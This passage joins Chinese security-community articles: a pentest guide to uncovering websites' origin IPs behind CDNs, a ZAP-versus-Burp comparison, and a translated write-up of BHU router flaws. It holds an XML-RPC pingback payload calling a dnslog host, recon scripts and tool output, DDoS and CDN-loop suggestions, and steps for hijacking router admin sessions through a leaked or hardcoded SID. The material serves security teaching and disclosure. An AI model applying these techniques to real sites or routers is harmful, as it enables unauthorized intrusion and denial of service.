，因为该用户不存在，所以发送将失败，并且还会收到一个包含发送该电子邮件给你的服务器的真实 IP 通知。
生产上多关注这些点，一个不成功继续测试下一个邮件触发点，很多大型网站的邮件服务器不止一台，并不是所有都做了防护处理，细节决定成败。
### 三、通过 SSL 证书
* 证书颁发机构 (CA) 必须将他们发布的每个 SSL/TLS 证书发布到公共日志中，SSL/TLS 证书通常包含域名、子域名和电子邮件地址。因此可以利用 SSL/TLS 证书来发现目标站点的真实 IP 地址。
* CDN 运营商在给服务器提供保护的同时，也会与其服务器进行加密通信（ssl），这时当服务器的 443 端口接入域名时也会在 443 端口暴露其证书，我们通过证书比对便可发现网站的真实 IP 地址。
**1.利用 Censys 引擎（[https://censys.io/）](https://censys.io/%EF%BC%89)**
* Censys 搜索引擎能够扫描整个互联网，每天都会扫描 IPv4 地址空间，以搜索所有联网设备并收集相关的信息，可以利用 Censys 进行全网方面的 SSL 证书搜索，找到匹配的真实 IP 。
可以看到，当我们针对一个互联网 IP 地址进行搜索时，是有匹配到证书 sha1 签名的
同理，我们根据域名指纹搜索 SSL 证书指纹，然后再反查 IP 就可以了。
首先针对目标域名，选择 `Certificates` 证书搜索，结果出来一堆 `有效` 的证书和 `无效` 的证书：
测试过程中，很容易陷入思维误区，认为 `有效` 的证书才是我们需要的，但其实并不一定，很多服务器配置错误依然保留的是 `无效`
的证书，就比如例子中，在结果特别多的情况下，我又使用 Censys 的语法搜索，来精准定位 `有效` SSL 证书，减少结果：
parsed.names: xxx.com and tags.raw: trusted
瞬间减少到了 2 个结果，我们逐个点开，然后 sha1 签名反查 IPV4 主机：
不过很遗憾，两条记录全都没查到：
这也从侧面说明了，不是所有的网站只有其 `有效` 证书会匹配其 IP 服务器。
于是只能回到最开始，从所有的结果里面依次打开往下反查指纹，最终定位到了真实 IP ：
安全不仅是个技术活，也是个细心活。
**2.使用命令行**
* 通过 `openssl` 和 `curl` 等常见的基础命令，也同样可以达到反查 SSL 证书的效果。
openssl：
openssl s_client -connect 123.123.123.123:443 | grep subject
curl：
curl -v https://123.123.123.123 | grep 'subject'
**3.使用工具和脚本**
* 通过自己写工具脚本，集成前面的1、2两点，完全可以做到一个简易版的 SSL 全网证书爬取，也可以利用现有的一些脚本工具和网站，省的我们自己费力了。
例如 `CloudFlair` ，项目地址：<https://github.com/christophetd/CloudFlair>
脚本兼容 python2.7 和 3.5，需要配置 Censys API，不过只针对目标网站是否使用 CloudFlare 服务进行探测。
在 Censys 注册一个账号并进入 <https://censys.io/account/api> 获取 API ID 和 Secret：
将 CloudFlair 克隆到本地并把 API ID 和 Secret 导入环境变量：
$ git clone https://github.com/christophetd/CloudFlair
$ export CENSYS_API_ID="xxx"
$ export CENSYS_API_SECRET="xxx"
通过 requirements.txt 安装依赖：
$ pip install -r requirements.txt
运行 cloudflair.py ：
$ python cloudflair.py --censys-api-id xxx --censys-api-secret xxx baidu.com
[*] The target appears to be behind CloudFlare.
[*] Looking for certificates matching "myvulnerable.site" using Censys
[*] 75 certificates matching "myvulnerable.site" found.
[*] Looking for IPv4 hosts presenting these certificates...
[*] 10 IPv4 hosts presenting a certificate issued to "myvulnerable.site" were found.
- 51.194.77.1
- 223.172.21.75
- 18.136.111.24
- 127.200.220.231
- 177.67.208.72
- 137.67.239.174
- 182.102.141.194
- 8.154.231.164
- 37.184.84.44
- 78.25.205.83
[*] Retrieving target homepage at https://myvulnerable.site
[*] Testing candidate origin servers
- 51.194.77.1
- 223.172.21.75
- 18.136.111.24
responded with an unexpected HTTP status code 404
- 127.200.220.231
timed out after 3 seconds
- 177.67.208.72
- 137.67.239.174
- 182.102.141.194
- 8.154.231.164
- 37.184.84.44
- 78.25.205.83
[*] Found 2 likely origin servers of myvulnerable.site!
- 177.67.208.72 (HTML content identical to myvulnerable.site)
- 182.102.141.194 (HTML content identical to myvulnerable.site)
其实完全可以通过 Censys 提供的 API 自己集成一款简洁实用的全自动化探测脚本，如果后面我有时间写好了，会同步更新到这里的。
**4.证书收集**
可以通过 <https://crt.sh> 进行快速证书查询收集
附上查询的 python 小脚本：
import requests
import re
TIME_OUT = 60
def get_SSL(domain):
domains = []
url = 'https://crt.sh/?q=%25.{}'.format(domain)
response = requests.get(url,timeout=TIME_OUT)
ssl = re.findall("<TD>(.*?).{}</TD>".format(domain),response.text)
for i in ssl:
i += '.' + domain
domains.append(i)
print(domains)
if __name__ == '__main__':
get_SSL("baidu.com")
获得所有包含证书的子域：
### 四、通过海外 DNS 查询
* 针对国内市场用户，大部分的 CDN 服务商并没有做海外市场的 CDN ，所以可以通过寻找小众、冷门的海外 DNS 查询，看是否能获得真实 IP 。
$ nslookup target.com <海外 DNS 地址>
也可以使用海外的超级ping类的平台在线多国家多地区测试，推荐 <https://www.host-tracker.com/v3/check/> ，支持
140 多个地区的 ping 测试，另外支持针对某子域超长期的监控，通过邮件通知，简直太强大了。
### 五、通过敏感文件泄露
包括但不限于：
* 服务器日志文件
* 探针文件，例如 phpinfo
* 网站备份压缩文件
* .DS_Store
* .hg
* .git
* SVN
* Web.xml
字典非常重要，往往疏忽的点就在一台边缘服务器。
### 六、通过变更的域名
* 很多网站在发展的过程中，会更换域名，比如京东以前的域名是 360buy.com ，后来斥巨资购买了 jd.com 。
* 网站在更换新域名时，如果将 CDN 部署到新的域名上，而之前的域名由于没过期，可能未使用 CDN，因此可以直接获得服务器 IP，所以，历史域名也是一个很重要的点。
### 七、 通过 APP 移动端应用
* 如果网站存在 APP ，可以通过抓包分析其 APP 的数据流量，看是否能找到网站真实 IP 地址，记得关注 APP 的历史版本，里面会有很多 surprise 。
### 八、通过 F5 LTM 解码
* LTM 是将所有的应用请求分配到多个节点服务器上。提高业务的处理能力，也就是负载均衡。
* 当服务器使用 F5 LTM 做负载均衡时，通过对 `set-cookie` 关键字的解码，可以获取服务器真实 ip 地址。
例如：
Set-Cookie: BIGipServerpool_9.29_5229=605532106.22012.0000
* 先把第一小节的十进制数，即 605532106 取出来
* 将其转为十六进制数 2417afca
* 接着从后至前，取四个字节出来： CA AF 17 24
* 最后依次转为十进制数 202.175.23.36，即是服务器的真实 ip 地址。
### 九、通过 CDN 标头特征值
很多网站启用 CDN 后，配置了拒绝直接访问真实 IP ，比如 CloudFlare 的提示：
因此可以通过匹配特征标头的方法，去缩小范围，这里还是使用 Censys 查询：
语法: <port>http.get.headers.server:<CDN特征>
eg: 80.http.get.headers.server:cloudflare
针对整个互联网的搜索 IP 结果进一步匹配，比如通过 端口、地理位置、banner 特征、反查邮箱、联系方式等等信息，继续精确结果：
### 十、通过 XML-RPC PINGBACK 通信
* XML-RPC 是支持 WordPress 与其他系统之间通信的规范，它通过使用 HTTP 作为传输机制和 XML 作为编码机制来标准化这些通信过程。
* 在 WordPress 的早期版本中，默认情况下已关闭 XML-RPC，但是从3.5版本开始，默认情况下开启。
* XML-RPC 支持 trackback 和 pingback。
* 虽然 WordPress 启用了 REST API 来代替 XML-RPC ，不过 XML-RPX 不会过时的，放心大胆的使用就好，虽然 XML-RPC 这个技术很老了，但依然可以通杀很多网站。
配置好 dnslog，POST 请求 XML-RPC：
POST /xmlrpc.php HTTP/1.1
Host: domain.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://2vbis4.dnslog.cn</string></value>
</param>
<param>
<value><string>https://domain.com/</string></value>
</param>
</params>
</methodCall>
响应：
刷新一下 dnslog ，获得了真实服务器 IP：
### 十一、通过 FTP/SCP 协议
* 在很多情况下，网站需要将数据流从外部传输到内部服务器上，最安全的做法肯定是在用户和服务器之间建立虚拟专用网络（V*P+N 防和谐）。
* 但实际上，仍然有大量可从外部访问的 FTP / SCP 服务，从而容易被抓住机会找到源 IP 地址。
### 十二、利用 Websocket 协议
* CloudFlare 等 CDN 服务商其实早就支持对 Websocket 的保护了，但太多的站长，不管大站小站，他们很多人都不知道，或者没有针对 Websocket 进行部署。
* 另一种原因是因为业务上的需求，毕竟 Websocket 要求客户端和服务器之间保持长久的连接，所以很有可能没有进行 CDN 部署。
### 十三、通过社会工程学
* 凯伦·王，21世纪初杰出初思想家、哲学家、社会学家、经济学家，社会工程学的鼻祖，括弧，自称的。
* [http://www.333](http://www.333ttt.com/up/up2103510950.html%EF%BC%8C%E7%86%9F%E6%82%89%E7%9A%84)t[tt.com/up/up2103510950.html，熟悉的](http://www.333ttt.com/up/up2103510950.html%EF%BC%8C%E7%86%9F%E6%82%89%E7%9A%84) BGM 响起来，好似又回到了辣一段青葱岁月。
* 估计有人笑了，不过啊，可真别小看社工的威力，有多少大厂、运营商是倒在了社会工程学脚下的，邮件钓鱼、水坑攻击、物理社工、身份伪装、客服欺骗、商务咨询 等等，案例数不胜数，不胜枚举。
* 因为人不是机器，只要是人，那就一定存在漏洞。
* 哦对，顺带推荐部电影，小李子的《猫鼠游戏》。
### 十四、通过网站漏洞
* 如果目标网站本身存在漏洞的话，比如 SSRF、XXE、XSS、文件上传、命令执行等漏洞，或者我们找到的其他突破口，注入我们自己的带外服务器地址，然后在服务器上检查 HTTP 日志记录。
* 应用本身的错误会造成当传递一些错误的参数值或者错误的地址时，内部会抛出异常，也就是日常所说的报错，关注报错点，经常会泄露一些真实的 IP 地址或者内网 IP 段。
### 十五、通过全网扫描
* 什么年代了啊，怎么还在说全网扫描。为了写全方法，这里还是提一下。
* 首先从 apnic 网络信息中心 或 IPdeny 获取目标地区 ip 段。
* 接着使用 Zmap、masscan 等工具对扫描出来端口开放的主机进行 banner 爬取。
* 然后在 http-req 的 Host 字段，写入我们需要寻找的子域。
* 最后过滤特征，确认是否有对应的服务器响应。
* 哦对了，如果端口不是常见或者固定，当场退役。
* 实际上，全网扫描的方法十分笨重，不推荐。因为已经有很多的网站给我们提供了全网爬取服务，之前的方法里都有介绍到，何必自己全网扫描呢，受限于网络、受限于设备，你个人爬的数据能有人家商业爬的全吗？
### 十六、通过 virtual-host 碰撞
* 当我们收集了目标足够多的可能的真实 IP 时，可以通过 IP 和子域的碰撞，来批量获得命中目标以及目标哪些的子域。
IP 正确，子域错误：
IP 正确，子域正确：
IP 错误，子域正确：
自动化的过程可以使用 virtual-host-discovery
工具，项目地址：<https://github.com/jobertabma/virtual-host-discovery>
克隆到本地
$ git clone https://github.com/jobertabma/virtual-host-discovery
使用方法：
$ ruby scan.rb --ip=x.x.x.x --host=domain --wordlist=<dict file>
其中wordlsit 参数可以省略，默认有一个字典加载，使用该参数则是指定我们自己想要跑的子域列表。
执行后，即可快速找出命中 IP 的子域
另外可以通过 find-virtual-hosts （[https://pentest-tools.com/information-gathering/find-virtual-hosts#）工具来在线快速针对全网数据扫描比对得出结果：](https://pentest-tools.com/information-gathering/find-virtual-hosts#%EF%BC%89%E5%B7%A5%E5%85%B7%E6%9D%A5%E5%9C%A8%E7%BA%BF%E5%BF%AB%E9%80%9F%E9%92%88%E5%AF%B9%E5%85%A8%E7%BD%91%E6%95%B0%E6%8D%AE%E6%89%AB%E6%8F%8F%E6%AF%94%E5%AF%B9%E5%BE%97%E5%87%BA%E7%BB%93%E6%9E%9C%EF%BC%9A)
### 十七、通过 favicon.ico 哈希特征
* favicon.ico 是现代浏览器在网页标题的左侧显示的一个小图标。
* 该图标数据通常是从 <https://anywebsite/favicon.ico> 处获取的，浏览器会在浏览任何网站时自动请求它。
* 因为可以通过计算 favicon.ico 的指纹哈希，然后去 shodan 等搜索引擎搜索与之相同的主机结果，从而进一步探测是否能挖掘出目标网站的真实 IP 地址。
计算 favicon.ico 哈希的小脚本：
python 2
import mmh3
import requests
response = requests.get('https://domain.com/favicon.ico')
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print hash
python 3
import mmh3
import requests
import codecs
response = requests.get('https://domain.com/favicon.ico')
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)
安装好环境依赖后执行脚本，计算得到目标网站的 favicon.ico 哈希值：
$ apt-get install build-essential
$ apt-get install gcc
$ apt-get install g++
$ python 3.py
然后用 shodan 搜索引擎搜索哈希，去命中 IP：
$ proxychains shodan search http.favicon.hash:1730752770 --fields ip_str,port --separator " " | awk '{print $1":
另外值得一提的是，渗透过程中同样可以根据 favicon 哈希、子域、IP
的命中，做好指纹排序并整理，另外做一张常见的中间件或者组件指纹哈希表，分类进行资产快速命中：
### 十八、通过网页源码特征值
* 在服务器源 IP 地址允许访问并且返回的也是类似的网站内容情况下，可以通过侦察页面源码中 JS 、CSS 、HTML 等一系列静态特征值，然后用 Shodan 、Zoomeye 、Censys 等搜索引擎进行匹配搜索，从而定位 IP 。
例如源码中找到一段 Google Analytics 的 JS 特征：
然后 shodan 搜索这些代码特征：
http.html:UA-XXXXX-X
http.html:GTM-XXXXXX
定位到了服务器源 IP ：
### 十九、通过网站远程资源业务
* 多找一下目标网站上支持远程图片、远程文件等被动连接的业务地方，通过注入我们自己服务器的资源文件，然后查看 HTTP 日志来定位目标服务器的连接。
* 常见的比如加载远程头像处。
### 二十、通过 CDN 机器
* 有些网站是自搭建 CDN 机器做负载均衡的，很难保证每一台 CDN 机器都做到 100% 安全。没有办法的情况下，可以尝试针对这些 CDN 机器进行渗透测试，如果能拿下一台，就什么都有了，目标主站的安全性好并不代表所有的生产边路都不存在缺陷，安全不在于真正强的地方有多强，而在于薄弱的地方有多弱。
### 二十一、通过流量耗尽、流量放大攻击
* CDN 是收费的，那么其流量一定是有限的，对一些不是超大型目标网站在进行测试时，注意，一定要在项目方授权允许的情况下，可以尝试进行 ddos 流量测试。
* CDN 流量耗尽了，就不存在内容分发了，直接就可以拿到源 IP 。
* 但是，CDN 是流量穿透的，别流量耗尽前，目标网站先 gg 了。
* 另一种比较古老的做法是通过 CDN 设置中的自身缺陷，将要保护的源站 IP 设置成为 CDN 节点的地址，致使 CDN 流量进入死循环，一层层放大后，最终自己打死自己。不过大多数的 CDN 厂商早已限制禁止将 CDN 节点设置成 CDN 节点 IP ，并且启用了自动丢包保护机制。
### 二十二、通过域名备案信息广域探测
* 针对目标域名，目标二级域名，如果都做了 CDN 的情况下，是不是就思路中断了呢？
* 肯定不是。这里分享一个很少有人去关注的独门秘技。
* 网站需要服务器，但是再土豪的公司，也不可能一个域名一台服务器，大多数情况下，都是多个域名业务，共用一台服务器。
* 那么如果目标网站存在备案，可以查询其备案信息，收集该单位或者个人备案的其他网站域名以及其他子域，然后再进行一轮广域的探测，很有可能其中的某个边缘子域，没有做 CDN，就直接暴露了真实服务器的 IP 地址，然后再进一步验证该 IP 是否也是目标网站的真实 IP 。
* 特别提一哈，此方法成功率特别的高，而且找到的速度非常的快，所以写在后面，有毅力坚持读下来的同学可以看到。
### 二十三、利用 CDN 服务商默认配置
* 不同的 CDN 服务商，产品默认配置不同。
* 例如 CloudFlare ，默认配置 direct.domain.com 二级子域指向服务器源 IP。但是很多公司或者个人使用 CDN 保护的时候并没有修改默认配置，导致 IP 泄露风险。
* 其他一些高风险的子域如 ftp、mail、cpanel、direct-connect 等也可以重点关注，方便快速定位，毕竟众测里时间就是金钱。
### 二十四、通过 SSH 指纹
* 跑题了，SSH 指纹一般应用于匿名 Tor 网络追踪
### 二十五、使用 CloudFair 工具
* 如果你的目标是 CloudFlare 保护的，建议先上这款工具跑。
* CloudFail 是一种战术侦察工具，旨在收集有关受 Cloudflare 保护的目标的足够信息，以期发现服务器的 IP 位置。
该工具目前探测经过3个不同的攻击阶段：
1.使用 DNSDumpster.com 扫描 DNS 配置错误。
2.扫描和比对 Crimeflare.com 数据库。
3.内置字典暴力扫描超过11000个子域名。
安装和使用：
$ git clone https://github.com/m0rtem/CloudFail
$ pip install -r requirements.txt
$ python cloudfail.py -t domain.com
____ _ _ _____ _ _
/ ___| | ___ _ _ __| | ___|_ _(_) |
| | | |/ _ \| | | |/ _` | |_ / _` | | |
| |___| | (_) | |_| | (_| | _| (_| | | |
\____|_|\___/ \__,_|\__,_|_| \__,_|_|_|
v1.0.2 by m0rtem
[16:12:31] Initializing CloudFail - the date is: 07/01/2021
[16:12:31] Fetching initial information from: domain.com...
[16:12:31] Server IP: 104.xx.x.76
[16:12:31] Testing if domain.com is on the Cloudflare network...
[16:12:31] domain.com is part of the Cloudflare network!
[16:12:31] Testing for misconfigured DNS using dnsdumpster...
[16:12:35] [FOUND:HOST] domain.com HTTP: cloudflare TCP8080: cloudflare 172.xx.xx.62 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] freelance.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.freelance.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] ctf.domain.com HTTP: nginx/1.10.3 HTTPS: nginx/1.10.3 SSH: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7 185.231.245.55 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.ctf.domain.com HTTP: nginx/1.10.3 HTTPS: nginx/1.10.3 SSH: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7 185.231.245.55 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] mail.domain.com 62.213.11.246 ROSTELECOM-ASRussia Russia
[16:12:35] [FOUND:HOST] school.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.school.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] pentest.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.pentest.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] w.domain.com HTTP: nginx/1.6.2 HTTPS: nginx/1.6.2 SSH: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8 185.xx.xx.136 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.w.domain.com HTTP: nginx/1.6.2 HTTPS: nginx/1.6.2 SSH: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8 185.xx.xx.136 TEAM-HOST AS Russia
[16:12:35] [FOUND:HOST] www.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] pay.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:HOST] www.pay.domain.com HTTP: cloudflare TCP8080: cloudflare 104.xx.xx.76 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:DNS] tim.ns.cloudflare.com. 173.xx.xx.145 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:DNS] tina.ns.cloudflare.com. 173.xx.xx.230 CLOUDFLARENETUnited States United States
[16:12:35] [FOUND:MX] 62.xx.xx.246 ROSTELECOM-ASRussia 10 mail.domain.com.
[16:12:35] [FOUND:MX] 62.xx.xx.246 ROSTELECOM-ASRussia 20 mail.domain.com.
[16:12:35] Scanning crimeflare database...
[16:12:36] [FOUND:IP] 62.xx.xx.230
[16:12:36] [FOUND:IP] 62.xx.xx.246
[16:12:36] Scanning 11219 subdomains (subdomains.txt), please wait...
[16:15:52] [FOUND:SUBDOMAIN] mail.domain.com IP: 62.xx.xx.246 HTTP: 200
[16:16:13] [FOUND:SUBDOMAIN] pay.domain.com ON CLOUDFLARE NETWORK!
[16:16:35] [FOUND:SUBDOMAIN] school.domain.com ON CLOUDFLARE NETWORK!
[16:17:03] [FOUND:SUBDOMAIN] w.domain.com IP: 185.xx.xx.136 HTTP: 200
[16:17:10] [FOUND:SUBDOMAIN] www.domain.com ON CLOUDFLARE NETWORK!
[16:17:14] Scanning finished...
闭眼休息一会，一会就跑出来了：
喜欢偷懒的同学可以使用在线查询：`https://suip.biz/?act=cloudfail` 已经将此工具集成到了后台，并做了前端 UI
页面供安全信息从业人员在线查询：
脚本执行的结果前端直接可以看到，另外提供 PDF 报告下载，这里我用的是 baidu.com 测试，因为 baidu.com 并没有使用
CloudFlare CDN ，所以速度很快。
如果是查询使用了 CloudFlare CDN 的域名，速度会比较慢，页面会置空，什么都不显示：
稍等一段时间就可以了，这里也给大家截个图，防止有同学误会工具不可以使用：
## 0x04 找到真实 IP 后如何使用
* 通过修改 hosts 文件，将域名和 IP 绑定。（要是不会，不建议阅读此文。）
* 如使用 burpsuite 测试，可以在 Project options ——> Connections ——> Hostname Resolution 中增加域名和 IP 记录。
## 0x05 来自高纬度的对抗
* 协议层的管制 / 动静态表 / 出口阻断 / 并发机制转换 / 编码放大 …… 等等高纬度对抗的内容，将在（二）中细细道来。（未完待续） | 社区文章 |
最近burp的licence到期了，大家都在考虑什么工具，什么不限制时间的bp啊，小提琴啊，花瓶啊，都开始被大家想起来了。不过除了小提琴，貌似都要收费。我突然想起来，还有一个工具，是owasp的zap，不用担心licence，不用担心安全问题（owasp还是比较放心的）。
给大家做一个和bp的常用功能对比图，大家可以在过渡期试试哈。该版本zap为2.7版本。
开始界面
像bp开始界面的这个不知道有多少人在用，我是由于工作原因，需要测试的网站多，所以需要该功能，第一项临时项目，几乎就是等于不保存了，对照owasp
zap的功能在下图红色箭头所指处
新建项目（就是bp的第二个），对照为zap的第二项，第一项也可以，但是会用时间戳作为文件名，找起来不方便啊。
代理
先说一下代理吧，毕竟这是第一步要配置的。
Bp的话在这里配置
Zap里面配置在
然后zap还很贴心的出了一个功能，一键启动浏览器，不用配置代理，启动的浏览器直接可以抓包，有内置的JxBrowser，还有本机安装的浏览器，比如，ie、ff、chrome。
请求和响应
抓个包试一下
Bp的请求包和响应包在这里
Zap的请求和响应，在右上角，刚开始换工具，会有点不适应。
爬虫
Bp直接右键就可以让爬虫去爬了，很方便
Zap的爬虫也是右键，在攻击里面
扫描
Bp的扫描是右键host主机
Zap的也是右键host主机，然后在攻击目录中有主动扫描，感觉zap的测试也没有说特别好，仅供参考吧！
由于被动扫描一般扫不出什么功能，所以我也不用，这里就没细说，如有需要请留言。
爆破
Bp中的是直接右键发送到intruder中
具体配置payload，不解释了，大家都懂
Zap的爆破在fuzz里面
和bp一样，添加需要爆破的点。建议先reset一下。[
当点完一项的时候，会自动弹出来一个payload选项
[
一般都用字典爆破，就选文件，如果选多个payload，会自动组合爆破，如果有需求用户名和密码一样爆破的话，目前没找到在哪里可以设置，欢迎一起讨论。
[
重放
Bp的直接右键发送到repeat即可
Zap的也是直接右键，选择重发送即可
解密Bp中解密的位置，直接将内容发送到decoder中即可
Zap中，在工具选项里面找到编码、解码、哈希，或者选中需要编码或者解码的字符串，右键发送到编码中。
其他部分暂未对比，欢迎大家一起来讨论。 | 社区文章 |
# 必虎uRouter无线路由器中惊现多处安全漏洞
|
##### 译文声明
本文是翻译文章，文章来源：ioactive
原文地址：<http://blog.ioactive.com/2016/08/multiple-vulnerabilities-in-bhu-wifi.html>
译文仅供参考，具体内容表达以及含义原文为准。
**一、长话短说**
必虎uRouter无线路由器是一款由中国必虎科技生产和销售的企业级智能路由产品。它的外观无可挑剔，但是它却没能做到秀外慧中－因为这款设备中存在多处严重的安全漏洞。
未经身份验证的攻击者可以绕过设备的身份验证机制，访问存储在系统日志中的敏感数据。更糟糕的是，有的攻击者甚至还能以root权限在路由器上执行系统级别的控制命令。除此之外，uRouter默认还启用了隐藏用户、SSH、硬编码root密码等功能，而且它还会向所有用户的HTTP通信数据中注入第三方的JavaScript脚本文件。
在这篇文章中，我将会给大家介绍这款路由器中存在的几个主要的安全漏洞。除此之外，我会教大家如何从设备中提取出系统固件（利用UART调试针脚），并找出其中存在的安全漏洞。
**二、直奔主题**
当然了，路由器的web管理接口肯定是全中文的了，而且没有提供语言设置的功能。接下来，我打算把它拆开，看看我是否可以访问到它的系统固件。
（一）、使用UART提取系统固件
从上图中可以看到，红色方框圈起来的就是UART针脚，橙色方框标记的是我们插入的SD卡。在实验过程中，我使用了[BusPirate](http://dangerousprototypes.com/docs/Bus_Pirate)总线来连接UART针脚。
启动设备之后，我们可以在终端里面看到下列信息：
随便按下键盘上的某一按键（1），我们就可以终止设备的启动过程，然后终端会显示如下图所示的bootloader菜单：
现在按下“c”键，然后进入命令行界面（2）。由于它使用的是U-Boot，所以我可以修改“bootargs”参数，然后在不需要运行init程序的情况下直接拿到路由器的Shell：
使用命令“printenv”来检查U-Boot的默认配置时，系统会立刻在启动顺序执行完毕后运行“/sbin/init”。这部分代码负责对路由器的Linux操作系统进行初始化操作。
现在，我们可以使用“setenv”命令来将“/sbin/init”替换成“/bin/sh”。替换后，系统将会直接运行我们的shell代码，这样一来，我们就可以直接访问设备的文件系统了。
“boot”命令可以让U-Boot继续按设备的启动顺序执行下去（PS：因为我刚才暂停了设备的启动进程）。在终端显示了一大堆调试信息之后，我们拿到了设备的Shell：
既然已经成功拿到了路由器的Shell，那么我就可以提取出系统固件，然后开始对负责处理路由器Web管理界面的通用网关接口（CGI）进行分析了。
从路由器中提取文件的方法有很多，我在这里对U-Boot的参数进行了修改，开启了设备的联网功能，然后利用“scp”命令来将所有需要的文件拷贝到了我的笔记本电脑之中。
当然了，我也可以直接对存储在SD卡中的recovery.img文件进行分析，这样也能达到同样的效果。但是这样操作的话，我们将有可能遗漏一些预安装的文件和配置信息，因为这些数据并不在recovery镜像中。
（二）、对CGI代码进行逆向分析
我的首要目标就是弄清楚到底是哪一个程序在负责处理路由器的Web管理接口，以及它是如何进行控制的。下图所示的是路由器的启动配置信息：
Mongoose是嵌入在这款路由器设备中的一个轻量级Web服务器。由于我没有在设备中发现mongoose.conf文件，所以我觉得服务器应该使用的是默认配置。根据[Mongoose文档](https://docs.cesanta.com/mongoose_binary/dev/#/config-reference/cgi_pattern/)的描述，在默认配置下，Mongoose会将所有以.cgi后缀结尾的文件视作CGI代码来处理，我在路由器的文件系统中发现了两个.cgi文件：
路由器的Web管理接口需要依赖下面这两个组件：
1\. cgiPage.cgi：这个文件貌似是专门负责处理Web管理面板主页的。
([http://192.168.62.1/cgi-bin/cgiPage.cgi?pg=urouter](http://192.168.62.1/cgi-bin/cgiPage.cgi?pg=urouter))
2\. cgiSrv.cgi：这份文件负责处理管理面板中的各种功能。例如登录、注册、查询系统信息、以及修改系统配置等等。
在对cgiSrv.cgi文件中的代码进行了分析之后，我发现这份代码非常的有意思。因为它可以更新路由器的配置信息，所以我决定从它开始入手。
虽然代码中去除了所有的系统调试符号（例如函数名和参数名），但是我们可以从其主函数开始分析。为此，我决定使用[IDA](https://www.hex-rays.com/products/ida/)来对代码进行分析：
主函数会调用“getenv”（6）函数来获取存储在环境变量“REQUEST_METHOD”（7）中的请求方法。然后再调用“strcmp”函数（9）来比较“REQUEST_METHOD”中的值（8）是否为字符串“POST”（10）。如果请求方法为POST（11），那么函数（12）将会被调用。
简而言之，当主函数接收到了一个POST请求时，函数（12）就会被调用。为了方便，我将函数（12）命名为“handle_post”。
对于GET请求，代码也采用了同样的处理逻辑。当主函数接收到了一个GET请求之后，它便会调用相应的处理函数来进行处理，我将该函数命名为“handle_get”。
接下来，我准备从“handle_get”函数开始着手分析。因为这个函数看起来比负责处理POST请求的函数要简单一些。
上图中这些像瀑布一样的方块表示的是“if {} else if{} else {}”这样的条件表达式，它们负责检查和处理相应的GET请求操作。
Block A：
在Block
A中，“handler_get”函数会调用“find_val”方法（14）来对URL参数（15）中的字符串“file”进行检查。如果检查结果为真（16），那么函数“get_file_handler”将会被调用（17）。
函数“get_file_handler”可以通过调用函数“strcmp”（20）来检测URL参数“file”的值（18）是否等于“syslog”（19）。如果相等（21），函数将返回字符串“/var/syslog”（22）。否则，函数将返回NULL（23）。接下来，主函数将会调用另一个函数来打开文件/var/syslog，读取文件中的数据内容，然后将其写入服务器的HTTP响应信息中。虽然整个执行过程非常好理解，但是我们仍需要花费一些时间来找出负责处理GET请求的处理函数，并且理解这些请求是如何处理的。
（三）、路由器的身份验证机制
请等一下！在我们访问syslog文件时，系统有没有对我们的用户身份进行验证呢？很明显，当我们在访问路由器的系统日志文件时，cgiSrv.cgi代码并没有对用户的身份进行校验。好吧，也许是系统日志文件中并不包含任何敏感信息…..
请求信息：
响应信息：
但很明显，系统日志中确实包含很多敏感信息。如上图所示，日志文件中包含有管理员账号的cookie信息，例如会话ID（SID）。如果我们在自己的浏览器中使用这些cookie值，我们就可以劫持管理员的会话信息，并重启路由设备：
响应信息：
别着急，我们能获取到的数据远远不止这些。在某些特殊情况下，管理员可能从未登录过路由器，因此系统日志中也就不会有SID的cookie值。但是我们仍然可以使用硬编码的SID：700000000000000。还记得吗，这段数据曾在之前的系统日志中出现过：
即便重启路由器，这个硬编码的SID值也不会改变，而且管理员也同样无法修改这个值。这也就意味着，我们可以用它来访问路由器所有的功能了。
查询我们目前的用户身份：
响应信息：
但是，dms:3是什么？我们在路由器的Web管理接口中并没有发现任何关于dms:3的信息。这是路由器的bug吗？还是说这是某种后门账号？
**三、总结**
总的来说，必虎uRouter无线路由器的外观设计还是非常棒的。但不幸的是，在它华丽外表的背后，却存在很多非常严重的安全漏洞。
攻击者可以利用这些漏洞来完成：
